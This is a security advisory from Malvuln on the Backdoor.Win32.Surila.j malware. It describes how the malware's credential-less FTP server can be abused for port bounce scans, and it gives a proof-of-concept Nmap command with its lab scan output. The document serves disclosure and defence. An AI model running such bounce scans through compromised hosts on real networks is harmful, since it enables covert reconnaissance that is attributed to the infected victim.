Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/b1cec4b806c71c82bbd9002bdaf21d1f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Surila.j
Vulnerability: Port Bounce Scan
Description: The malware listens on random TCP high port numbers typically starting with "1" E.g. 12356, 14985, 13850, 19050, 13137. The malware has an FTP component that accepts any username/password credentials. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: b1cec4b806c71c82bbd9002bdaf21d1f
Vuln ID: MVID-2021-0288
Dropped files: iexp1orer.exe
Disclosure: 07/12/2021


Exploit/PoC:
nmap -Pn -n -b  mal:vuln@192.168.18.125:14849 192.168.18.237 -p21,23,80 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2021-07-10 15:19 Pacific Daylight Time
Resolved FTP bounce attack proxy to 192.168.18.125 (192.168.18.125).
Attempting connection to ftp://mal:vuln@192.168.18.125:14849
Connected:220 Bot Server (Win32)
Login credentials accepted by FTP server!
Discovered open port 80/tcp on 192.168.18.237
Completed Bounce Scan at 15:20, 20.45s elapsed (3 total ports)
Nmap scan report for 192.168.18.237
Host is up.

PORT   STATE  SERVICE
21/tcp closed ftp
23/tcp closed telnet
80/tcp open   http


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